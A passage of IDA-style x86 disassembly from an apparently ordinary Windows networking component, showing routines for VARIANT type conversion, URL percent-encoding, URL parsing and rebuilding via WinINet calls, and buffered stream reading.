lea ebx, [eax+eax]
mov [ebp+var_8], eax
pop ecx
lea eax, [ebx+2]
push eax
call sub_69B11E44
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_69B7A8E2
mov esi, dword ptr [ebp+pvarg.anonymous_0+8]
push edi
mov ecx, ebx
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
and word ptr [ebx+eax], 0
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_10]
mov [ecx], eax
pop edi
loc_69B7A8E2: ; CODE XREF: sub_69B7A851+6Bj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
pop ebx
loc_69B7A8ED: ; CODE XREF: sub_69B7A851+11j
; sub_69B7A851+1Dj ...
mov eax, [ebp+var_4]
pop esi
leave
retn 14h
sub_69B7A851 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7A8F5(VARIANTARG pvarSrc)
sub_69B7A8F5 proc near ; CODE XREF: sub_69B7D8C5+1ACp
pvarg = VARIANTARG ptr -10h
pvarSrc = VARIANTARG ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
xor esi, esi
cmp word ptr [ebp+pvarSrc.anonymous_0], si
jz short loc_69B7A935
cmp word ptr [ebp+pvarSrc.anonymous_0], 1
jz short loc_69B7A935
cmp word ptr [ebp+pvarSrc.anonymous_0], 0Ah
jz short loc_69B7A935
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push 8 ; vt
push 1 ; wFlags
lea eax, [ebp+pvarSrc]
push eax ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call VariantChangeType
test eax, eax
jl short loc_69B7A935
mov esi, dword ptr [ebp+pvarg.anonymous_0+8]
loc_69B7A935: ; CODE XREF: sub_69B7A8F5+Dj
; sub_69B7A8F5+14j ...
mov eax, esi
pop esi
leave
retn 10h
sub_69B7A8F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7A93C(VARIANTARG pvarSrc, char)
sub_69B7A93C proc near ; CODE XREF: sub_69B7D68D+15Cp
pvarg = VARIANTARG ptr -10h
pvarSrc = VARIANTARG ptr 8
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
cmp word ptr [ebp+pvarSrc.anonymous_0], 0
push ebx
mov bl, [ebp+arg_10]
jz short loc_69B7A983
cmp word ptr [ebp+pvarSrc.anonymous_0], 1
jz short loc_69B7A983
cmp word ptr [ebp+pvarSrc.anonymous_0], 0Ah
jz short loc_69B7A983
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push 0Bh ; vt
push 1 ; wFlags
lea eax, [ebp+pvarSrc]
push eax ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call VariantChangeType
test eax, eax
jl short loc_69B7A983
cmp word ptr [ebp+pvarg.anonymous_0+8], 0FFFFh
setz bl
loc_69B7A983: ; CODE XREF: sub_69B7A93C+Fj
; sub_69B7A93C+16j ...
mov al, bl
pop ebx
leave
retn 14h
sub_69B7A93C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7A98A proc near ; CODE XREF: sub_69B7D8C5+1C7p
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_C], eax
jnz short loc_69B7A9A7
mov eax, 80004005h
jmp short loc_69B7AA20
; ---------------------------------------------------------------------------
loc_69B7A9A7: ; CODE XREF: sub_69B7A98A+14j
push esi
push edi
push ebx
push eax
lea ecx, [ebp+var_18]
call sub_69B1A8C7
push [ebp+arg_8]
call sub_69B84C68
cmp eax, ebx
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov [edi], ebx
pop ecx
mov [ebp+var_4], eax
mov [ebp+var_8], ebx
mov [esi], ebx
jz short loc_69B7AA0B
lea eax, [eax+eax*2+1]
push eax
call sub_69B11E44
cmp eax, ebx
mov [esi], eax
jnz short loc_69B7A9E7
mov ebx, 8007000Eh
jmp short loc_69B7AA0B
; ---------------------------------------------------------------------------
loc_69B7A9E7: ; CODE XREF: sub_69B7A98A+54j
mov eax, [ebp+var_4]
push edi
lea eax, [eax+eax*2]
mov [edi], eax
push dword ptr [esi]
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
call sub_69B36E46
mov eax, [esi]
mov ecx, [edi]
mov [eax+ecx], bl
loc_69B7AA0B: ; CODE XREF: sub_69B7A98A+44j
; sub_69B7A98A+5Bj
lea ecx, [ebp+var_18]
call sub_69B1976C
push [ebp+var_C]
call dword_69B92944
pop edi
mov eax, ebx
pop esi
loc_69B7AA20: ; CODE XREF: sub_69B7A98A+1Bj
pop ebx
leave
retn 0Ch
sub_69B7A98A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7AA25 proc near ; CODE XREF: sub_69B7B065+5Fp
; sub_69B7B065+1A7p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push esi
mov esi, ecx
cmp [esi+3Ch], eax
jz short loc_69B7AA74
push ebx
mov [esi+3Ch], eax
mov eax, [esi+0B8h]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B7AA73
push ebx
push ebx
push ebx
lea edx, [ebp+var_10]
push edx
push 1
push 800h
push offset dword_69B2AFB0
push ebx
mov byte ptr [esi+40h], 1
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov [esi+40h], bl
loc_69B7AA73: ; CODE XREF: sub_69B7AA25+1Fj
pop ebx
loc_69B7AA74: ; CODE XREF: sub_69B7AA25+Fj
pop esi
leave
retn 4
sub_69B7AA25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7AA79 proc near ; CODE XREF: sub_69B7AB78+1DBp
; sub_69B7AB78+202p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
push esi
mov esi, [ebp+arg_4]
push edi
jbe short loc_69B7AAB7
mov edi, ebx
loc_69B7AA95: ; CODE XREF: sub_69B7AA79+3Cj
xor eax, eax
mov ax, [esi]
push eax
push [ebp+arg_0]
call sub_69B84C7E
test eax, eax
pop ecx
pop ecx
jz short loc_69B7AAAF
add [ebp+var_4], 3
jmp short loc_69B7AAB2
; ---------------------------------------------------------------------------
loc_69B7AAAF: ; CODE XREF: sub_69B7AA79+2Ej
inc [ebp+var_4]
loc_69B7AAB2: ; CODE XREF: sub_69B7AA79+34j
inc esi
inc esi
dec edi
jnz short loc_69B7AA95
loc_69B7AAB7: ; CODE XREF: sub_69B7AA79+18j
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_69B7AB37
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
mov esi, eax
test esi, esi
mov [ebp+arg_8], esi
jnz short loc_69B7AADA
mov [ebp+var_8], 8007000Eh
jmp short loc_69B7AB3D
; ---------------------------------------------------------------------------
loc_69B7AADA: ; CODE XREF: sub_69B7AA79+56j
test ebx, ebx
mov edi, [ebp+arg_4]
jbe short loc_69B7AB31
loc_69B7AAE1: ; CODE XREF: sub_69B7AA79+B6j
xor eax, eax
mov ax, [edi]
push eax
push [ebp+arg_0]
call sub_69B84C7E
test eax, eax
pop ecx
pop ecx
jz short loc_69B7AB24
mov word ptr [esi], 25h
xor eax, eax
mov al, [edi]
inc esi
inc esi
shr eax, 4
and eax, 0Fh
mov ax, ds:word_69B7AB58[eax*2]
mov [esi], ax
xor eax, eax
mov al, [edi]
inc esi
inc esi
and eax, 0Fh
mov ax, ds:word_69B7AB58[eax*2]
jmp short loc_69B7AB27
; ---------------------------------------------------------------------------
loc_69B7AB24: ; CODE XREF: sub_69B7AA79+7Aj
mov ax, [edi]
loc_69B7AB27: ; CODE XREF: sub_69B7AA79+A9j
mov [esi], ax
inc esi
inc esi
inc edi
inc edi
dec ebx
jnz short loc_69B7AAE1
loc_69B7AB31: ; CODE XREF: sub_69B7AA79+66j
and word ptr [esi], 0
jmp short loc_69B7AB3D
; ---------------------------------------------------------------------------
loc_69B7AB37: ; CODE XREF: sub_69B7AA79+43j
mov eax, [ebp+arg_4]
mov [ebp+arg_8], eax
loc_69B7AB3D: ; CODE XREF: sub_69B7AA79+5Fj
; sub_69B7AA79+BCj
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_4]
pop edi
pop esi
mov [eax], ecx
mov eax, [ebp+var_8]
pop ebx
leave
retn 14h
sub_69B7AA79 endp
; ---------------------------------------------------------------------------
align 4
word_69B7AB58 dw 30h ; DATA XREF: sub_69B7AA79+8Dr
; sub_69B7AA79+A1r
dw 31h
a23456789abcdef:
unicode 0, <23456789ABCDEF>
; =============== S U B R O U T I N E =======================================
sub_69B7AB78 proc near ; CODE XREF: sub_69B7D68D+136p
push 68h
push offset dword_69B7AE80
call sub_69B19C5C
mov ebx, ecx
mov [ebp-1Ch], ebx
call dword_69B92948
mov [ebp-20h], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B7ABA2
mov eax, 80004005h
jmp loc_69B7AE54
; ---------------------------------------------------------------------------
loc_69B7ABA2: ; CODE XREF: sub_69B7AB78+1Ej
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
push 0Eh
pop ecx
xor eax, eax
lea edi, [ebp-64h]
rep stosd
mov [ebp-6Ch], esi
mov [ebp-70h], esi
mov dword ptr [ebp-68h], 3Ch
xor edi, edi
inc edi
mov [ebp-60h], edi
mov [ebp-54h], edi
mov [ebp-50h], di
mov [ebp-48h], edi
mov [ebp-40h], edi
mov [ebp-38h], edi
mov [ebp-30h], edi
lea eax, [ebp-68h]
push eax ; lpUrlComponents
push esi ; dwFlags
push esi ; dwUrlLength
push dword ptr [ebp+8] ; lpszUrl
call InternetCrackUrlW ; InternetCrackUrlW
cmp eax, esi
jz loc_69B7AE5C
cmp byte ptr [ebx+0B0h], 0
jnz loc_69B7ACBC
cmp [ebp-4Ch], esi
jz loc_69B7ACBC
cmp [ebp-44h], esi
jz loc_69B7ACBC
push dword ptr [ebx+84h]
call sub_69B1B2B7
mov eax, [ebp-48h]
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
mov [ebx+84h], eax
cmp eax, esi
jz loc_69B7AE09
lea edx, [ebx+88h]
mov ecx, [ebp-48h]
mov [edx], ecx
mov esi, [ebp-4Ch]
mov edi, eax
rep movsw
mov eax, [edx]
mov ecx, [ebx+84h]
and word ptr [ecx+eax*2], 0
push dword ptr [ebx+8Ch]
call sub_69B1B2B7
mov eax, [ebp-40h]
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
mov [ebx+8Ch], eax
test eax, eax
jz loc_69B7AE09
lea edx, [ebx+90h]
mov ecx, [ebp-40h]
mov [edx], ecx
mov esi, [ebp-44h]
mov edi, eax
rep movsw
mov eax, [edx]
mov ecx, [ebx+8Ch]
and word ptr [ecx+eax*2], 0
cmp dword ptr [ebx+84h], 0
jz short loc_69B7ACB7
cmp dword ptr [ebx+8Ch], 0
jz short loc_69B7ACB7
mov byte ptr [ebx+0B0h], 1
loc_69B7ACB7: ; CODE XREF: sub_69B7AB78+12Dj
; sub_69B7AB78+136j
xor edi, edi
inc edi
xor esi, esi
loc_69B7ACBC: ; CODE XREF: sub_69B7AB78+82j
; sub_69B7AB78+8Bj ...
mov [ebp-4Ch], esi
mov [ebp-48h], esi
mov [ebp-44h], esi
mov [ebp-40h], esi
cmp byte ptr [ebx+0B0h], 0
jz loc_69B7AD87
cmp byte_69B9B683, 0
jnz short loc_69B7AD30
mov byte_69B9B683, 1
mov [ebp-4], esi
mov [ebp-74h], esi
mov [ebp-78h], esi
push esi ; dwReserved
lea eax, [ebp-78h]
push eax ; pdwBufferLength
push 4 ; dwBufferLength
lea eax, [ebp-74h]
push eax ; pBuffer
push 10000008h ; dwOption
call UrlMkGetSessionOption
test eax, eax
jl short loc_69B7AD13
cmp [ebp-74h], edi
jnz short loc_69B7AD13
mov byte_69B9B682, 1
loc_69B7AD13: ; CODE XREF: sub_69B7AB78+18Dj
; sub_69B7AB78+192j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7AD30
; ---------------------------------------------------------------------------
loc_69B7AD19: ; DATA XREF: .text:69B7AE84o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B7AD1D: ; DATA XREF: .text:69B7AE88o
mov esp, [ebp-18h]
mov byte_69B9B681, 1
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
xor esi, esi
loc_69B7AD30: ; CODE XREF: sub_69B7AB78+164j
; sub_69B7AB78+19Fj
cmp byte_69B9B682, 0
jnz short loc_69B7AD87
lea eax, [ebp-48h]
push eax
lea eax, [ebp-4Ch]
push eax
push dword ptr [ebx+88h]
push dword ptr [ebx+84h]
mov edi, offset a?@ ; "%/:?@\\"
push edi
call sub_69B7AA79
test eax, eax
jnz loc_69B7AE09
mov eax, [ebx+90h]
cmp eax, esi
jz short loc_69B7AD87
lea ecx, [ebp-40h]
push ecx
lea ecx, [ebp-44h]
push ecx
push eax
push dword ptr [ebx+8Ch]
push edi
call sub_69B7AA79
test eax, eax
jnz loc_69B7AE09
loc_69B7AD87: ; CODE XREF: sub_69B7AB78+157j
; sub_69B7AB78+1BFj ...
lea eax, [ebp-6Ch]
push eax ; lpdwUrlLength
push esi ; lpszUrl
push esi ; dwFlags
lea eax, [ebp-68h]
push eax ; lpUrlComponents
call InternetCreateUrlW ; InternetCreateUrlW
test eax, eax
jnz short loc_69B7ADDF
mov edi, ds:GetLastError
loc_69B7ADA1: ; CODE XREF: sub_69B7AB78+265j
call edi ; GetLastError
cmp eax, 7Ah
jnz loc_69B7AE62
push dword ptr [ebp-70h]
call sub_69B1B2B7
shr dword ptr [ebp-6Ch], 1
mov eax, [ebp-6Ch]
add eax, eax
push eax
call sub_69B11E44
mov [ebp-70h], eax
cmp eax, esi
jz short loc_69B7AE09
lea eax, [ebp-6Ch]
push eax ; lpdwUrlLength
push dword ptr [ebp-70h] ; lpszUrl
push esi ; dwFlags
lea eax, [ebp-68h]
push eax ; lpUrlComponents
call InternetCreateUrlW ; InternetCreateUrlW
test eax, eax
jz short loc_69B7ADA1
loc_69B7ADDF: ; CODE XREF: sub_69B7AB78+221j
lea edi, [ebx+94h]
push dword ptr [edi]
call sub_69B1B2B7
mov [edi], esi
lea eax, [ebp-6Ch]
push eax
push edi
push dword ptr [ebp-6Ch]
push dword ptr [ebp-70h]
push offset asc_69B270B0 ; "#"
call sub_69B7AA79
mov edi, eax
cmp edi, esi
jz short loc_69B7AE0E
loc_69B7AE09: ; CODE XREF: sub_69B7AB78+BAj
; sub_69B7AB78+100j ...
mov edi, 8007000Eh
loc_69B7AE0E: ; CODE XREF: sub_69B7AB78+28Fj
; sub_69B7AB78+2F4j ...
mov eax, [ebp-4Ch]
cmp eax, [ebx+84h]
jz short loc_69B7AE1F
push eax
call sub_69B1B2B7
loc_69B7AE1F: ; CODE XREF: sub_69B7AB78+29Fj
mov eax, [ebp-44h]
cmp eax, [ebx+8Ch]
jz short loc_69B7AE30
push eax
call sub_69B1B2B7
loc_69B7AE30: ; CODE XREF: sub_69B7AB78+2B0j
mov eax, [ebp-70h]
cmp eax, [ebx+94h]
jz short loc_69B7AE41
push eax
call sub_69B1B2B7
loc_69B7AE41: ; CODE XREF: sub_69B7AB78+2C1j
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
mov eax, edi
loc_69B7AE54: ; CODE XREF: sub_69B7AB78+25j
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
loc_69B7AE5C: ; CODE XREF: sub_69B7AB78+75j
mov edi, ds:GetLastError
loc_69B7AE62: ; CODE XREF: sub_69B7AB78+22Ej
call edi ; GetLastError
test eax, eax
jg short loc_69B7AE6E
call edi ; GetLastError
mov edi, eax
jmp short loc_69B7AE0E
; ---------------------------------------------------------------------------
loc_69B7AE6E: ; CODE XREF: sub_69B7AB78+2EEj
call edi ; GetLastError
mov edi, eax
and edi, 0FFFFh
or edi, 80070000h
jmp short loc_69B7AE0E
sub_69B7AB78 endp
; ---------------------------------------------------------------------------
dword_69B7AE80 dd 0FFFFFFFFh dd offset loc_69B7AD19
dd offset loc_69B7AD1D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7AE8C proc near ; CODE XREF: sub_69B7BA94+F4p
; sub_69B7D8C5+23Cp
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_14], eax
jnz short loc_69B7AEAC
mov eax, 80004005h
jmp loc_69B7AFAB
; ---------------------------------------------------------------------------
loc_69B7AEAC: ; CODE XREF: sub_69B7AE8C+14j
push esi
push edi
push ebx
push eax
lea ecx, [ebp+var_20]
call sub_69B1A8C7
mov edi, [ebp+arg_0]
xor esi, esi
xor eax, eax
cmp edi, eax
mov [ebp+var_8], esi
mov [ebp+var_4], ebx
mov [ebp+var_C], ebx
jz loc_69B7AF84
cmp [ebp+arg_8], eax
jz loc_69B7AF84
mov ecx, [ebp+arg_4]
mov [edi], eax
mov [ecx], eax
loc_69B7AEE0: ; CODE XREF: sub_69B7AE8C+E0j
lea eax, [ebx+200h]
cmp eax, [ebp+var_4]
jbe short loc_69B7AF43
test ebx, ebx
jz short loc_69B7AEF7
lea eax, [ebx+ebx]
mov [ebp+var_4], eax
jmp short loc_69B7AEFE
; ---------------------------------------------------------------------------
loc_69B7AEF7: ; CODE XREF: sub_69B7AE8C+61j
mov [ebp+var_4], 1000h
loc_69B7AEFE: ; CODE XREF: sub_69B7AE8C+69j
mov eax, [ebp+var_4]
inc eax
push eax
call sub_69B11E44
mov edi, eax
test edi, edi
mov [ebp+var_10], edi
jz short loc_69B7AF7B
test ebx, ebx
jz short loc_69B7AF28
mov ecx, ebx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov esi, [ebp+var_8]
loc_69B7AF28: ; CODE XREF: sub_69B7AE8C+87j
mov eax, [ebp+var_4]
push esi
mov [ebp+var_4], eax
call sub_69B1B2B7
mov eax, [ebp+var_10]
mov edi, [ebp+arg_0]
mov [ebp+var_8], eax
mov byte ptr [ebx+eax], 0
mov esi, eax
loc_69B7AF43: ; CODE XREF: sub_69B7AE8C+5Dj
mov eax, [ebp+arg_8]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
mov edx, [ebp+var_4]
sub edx, ebx
push edx
lea edx, [ebx+esi]
push edx
push eax
call dword ptr [ecx+0Ch]
test eax, eax
mov [ebp+var_10], eax
jl short loc_69B7AF8B
add ebx, [ebp+var_C]
mov byte ptr [ebx+esi], 0
cmp [ebp+var_C], 0
jnz loc_69B7AEE0
mov eax, [ebp+arg_4]
mov [edi], esi
mov [eax], ebx
jmp short loc_69B7AF95
; ---------------------------------------------------------------------------
loc_69B7AF7B: ; CODE XREF: sub_69B7AE8C+83j
mov [ebp+var_10], 8007000Eh
jmp short loc_69B7AF8B
; ---------------------------------------------------------------------------
loc_69B7AF84: ; CODE XREF: sub_69B7AE8C+3Ej
; sub_69B7AE8C+47j
mov [ebp+var_10], 80070057h
loc_69B7AF8B: ; CODE XREF: sub_69B7AE8C+D3j
; sub_69B7AE8C+F6j
test esi, esi
jz short loc_69B7AF95
push esi
call sub_69B1B2B7
loc_69B7AF95: ; CODE XREF: sub_69B7AE8C+EDj
; sub_69B7AE8C+101j
lea ecx, [ebp+var_20]
call sub_69B1976C
push [ebp+var_14]
call dword_69B92944
mov eax, [ebp+var_10]
pop edi
pop esi
loc_69B7AFAB: ; CODE XREF: sub_69B7AE8C+1Bj
pop ebx
leave
retn 0Ch
sub_69B7AE8C endp
; =============== S U B R O U T I N E =======================================
sub_69B7AFB0 proc near ; DATA XREF: .text:69B145FCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
add esi, 0B8h
mov eax, [esi]
test eax, eax
jz short loc_69B7AFC7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7AFC7: ; CODE XREF: sub_69B7AFB0+Fj
mov eax, [esp+4+arg_4]
test eax, eax
mov [esi], eax
pop esi
jz short loc_69B7AFD8
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B7AFD8: ; CODE XREF: sub_69B7AFB0+20j
xor eax, eax
retn 8
sub_69B7AFB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7AFDD(LPSTREAM *ppstm)
sub_69B7AFDD proc near ; CODE XREF: sub_69B7BA94+76p
; sub_69B7BC1C+4Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
ppstm = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+ppstm]
push edi
mov ebx, ecx
xor ecx, ecx
xor eax, eax
cmp esi, ecx
lea edi, [ebp+var_4]
mov [ebp+var_8], ecx
stosd
jnz short loc_69B7B000
mov edi, 80070057h
jmp short loc_69B7B05C
; ---------------------------------------------------------------------------
loc_69B7B000: ; CODE XREF: sub_69B7AFDD+1Aj
push esi ; ppstm
push 1 ; fDeleteOnRelease
push ecx ; hGlobal
mov [esi], ecx
call ds:CreateStreamOnHGlobal
test eax, eax
jge short loc_69B7B017
mov edi, 8007000Eh
jmp short loc_69B7B04D
; ---------------------------------------------------------------------------
loc_69B7B017: ; CODE XREF: sub_69B7AFDD+31j
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+ppstm]
push edx
push dword ptr [ebx+0A8h]
push dword ptr [ebx+0A0h]
push eax
call dword ptr [ecx+10h]
mov edi, eax
test edi, edi
jl short loc_69B7B04D
mov eax, [esi]
mov ecx, [eax]
push 0
push 0
push [ebp+var_4]
push [ebp+var_8]
push eax
call dword ptr [ecx+14h]
mov edi, eax
test edi, edi
jge short loc_69B7B05C
loc_69B7B04D: ; CODE XREF: sub_69B7AFDD+38j
; sub_69B7AFDD+56j
mov eax, [esi]
test eax, eax
jz short loc_69B7B059
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B059: ; CODE XREF: sub_69B7AFDD+74j
and dword ptr [esi], 0
loc_69B7B05C: ; CODE XREF: sub_69B7AFDD+21j
; sub_69B7AFDD+6Ej
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B7AFDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7B065 proc near ; DATA XREF: .text:69B2A638o
var_1028 = byte ptr -1028h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1028h
call sub_69B1B09C
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
mov [ebp+var_4], eax
call dword_69B92948
xor esi, esi
cmp eax, esi
mov [ebp+var_18], eax
jnz short loc_69B7B097
mov eax, 80004005h
jmp loc_69B7B22E
; ---------------------------------------------------------------------------
loc_69B7B097: ; CODE XREF: sub_69B7B065+26j
push ebx
push edi
push esi
push eax
lea ecx, [ebp+var_28]
call sub_69B1A8C7
mov ebx, [ebp+arg_0]
lea edi, [ebx-24h]
mov eax, [edi]
push edi
mov [ebp+var_6], 1
mov [ebp+var_5], 0
mov [ebp+var_10], edi
call dword ptr [eax+4]
cmp dword ptr [ebx+18h], 3
jge short loc_69B7B0C9
push 3
mov ecx, edi
call sub_69B7AA25
loc_69B7B0C9: ; CODE XREF: sub_69B7B065+59j
cmp byte ptr [ebx+3Ch], 0
jnz loc_69B7B213
loc_69B7B0D3: ; CODE XREF: sub_69B7B065+197j
mov edx, [ebx+84h]
mov ecx, [ebx+80h]
and [ebp+var_C], 0
sub ecx, edx
jnz short loc_69B7B0F4
mov ecx, 1000h
lea eax, [ebp+var_1028]
jmp short loc_69B7B0FD
; ---------------------------------------------------------------------------
loc_69B7B0F4: ; CODE XREF: sub_69B7B065+80j
mov eax, [ebx+7Ch]
mov [ebp+var_6], 0
add eax, edx
loc_69B7B0FD: ; CODE XREF: sub_69B7B065+8Dj
lea esi, [ebp+var_C]
push esi
mov [ebp+arg_0], eax
mov eax, [ebx+20h]
mov edx, [eax]
push ecx
push [ebp+arg_0]
push eax
call dword ptr [edx+24h]
mov ecx, [ebp+var_C]
test ecx, ecx
jnz short loc_69B7B126
cmp eax, 1
jnz loc_69B7B1A3
mov [ebx+3Ch], al
jmp short loc_69B7B1A3
; ---------------------------------------------------------------------------
loc_69B7B126: ; CODE XREF: sub_69B7B065+B1j
cmp [ebp+var_6], 0
jz short loc_69B7B1A3
mov eax, [ebx+84h]
add eax, ecx
cmp eax, [ebx+80h]
mov [ebp+var_14], eax
jbe short loc_69B7B180
push eax
call sub_69B11E44
mov edi, eax
test edi, edi
mov [ebp+var_1C], edi
jz loc_69B7B23E
mov ecx, [ebx+84h]
mov esi, [ebx+7Ch]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+var_14]
and ecx, 3
rep movsb
push dword ptr [ebx+7Ch]
mov [ebx+80h], eax
call sub_69B1B2B7
mov eax, [ebp+var_1C]
mov [ebx+7Ch], eax
loc_69B7B180: ; CODE XREF: sub_69B7B065+D8j
mov ecx, [ebp+var_C]
mov edi, [ebx+7Ch]
add edi, [ebx+84h]
mov eax, ecx
shr ecx, 2
lea esi, [ebp+var_1028]
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+var_10]
loc_69B7B1A3: ; CODE XREF: sub_69B7B065+B6j
; sub_69B7B065+BFj ...
cmp byte ptr [ebx+8Dh], 0
jz short loc_69B7B1F1
mov eax, [ebx+9Ch]
test eax, eax
jz short loc_69B7B1F1
cmp [ebp+var_5], 0
jnz short loc_69B7B1F1
mov ecx, [eax]
xor edx, edx
cmp [ebx+3Ch], dl
setnz dl
push edx
push [ebp+var_C]
push [ebp+arg_0]
push eax
call dword ptr [ecx+44h]
test eax, eax
jge short loc_69B7B1D9
mov [ebp+var_5], 1
loc_69B7B1D9: ; CODE XREF: sub_69B7B065+16Ej
mov eax, [ebx+9Ch]
test eax, eax
jz short loc_69B7B1F1
cmp [ebp+var_5], 0
jnz short loc_69B7B1F1
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+60h]
loc_69B7B1F1: ; CODE XREF: sub_69B7B065+145j
; sub_69B7B065+14Fj ...
mov eax, [ebp+var_C]
add [ebx+84h], eax
test eax, eax
jnz loc_69B7B0D3
cmp dword ptr [ebx+18h], 4
jge short loc_69B7B211
push 4
mov ecx, edi
call sub_69B7AA25
loc_69B7B211: ; CODE XREF: sub_69B7B065+1A1j
xor esi, esi
loc_69B7B213: ; CODE XREF: sub_69B7B065+68j
; sub_69B7B065+1E1j
mov eax, [edi]
push edi
call dword ptr [eax+8]
lea ecx, [ebp+var_28]
call sub_69B1976C
push [ebp+var_18]
call dword_69B92944
pop edi
mov eax, esi
pop ebx
loc_69B7B22E: ; CODE XREF: sub_69B7B065+2Dj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
call sub_69B1B9F6
leave
retn 10h
; ---------------------------------------------------------------------------
loc_69B7B23E: ; CODE XREF: sub_69B7B065+E7j
mov edi, [ebp+var_10]
mov esi, 8007000Eh
jmp short loc_69B7B213
sub_69B7B065 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B7B248(int, int, LPCWSTR lpszUrl)
sub_69B7B248 proc near ; DATA XREF: .text:69B2A634o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
lpszUrl = dword ptr 0Ch
cmp [esp+arg_4], 3
jnz short loc_69B7B27A
push esi
mov esi, [esp+4+arg_0]
push 0 ; int
push dword ptr [esi+70h] ; int
push [esp+0Ch+lpszUrl] ; lpszUrl
call sub_69B39C17
test eax, eax
jge short loc_69B7B279
mov [esi+34h], eax
mov esi, [esi+20h]
test esi, esi
jz short loc_69B7B279
mov ecx, [esi]
push 0
push eax
push esi
call dword ptr [ecx+14h]
loc_69B7B279: ; CODE XREF: sub_69B7B248+1Cj
; sub_69B7B248+26j
pop esi
loc_69B7B27A: ; CODE XREF: sub_69B7B248+5j
xor eax, eax
retn 0Ch
sub_69B7B248 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B27F proc near ; DATA XREF: .text:69B2A63Co
push 20h
push offset dword_69B7B3A8
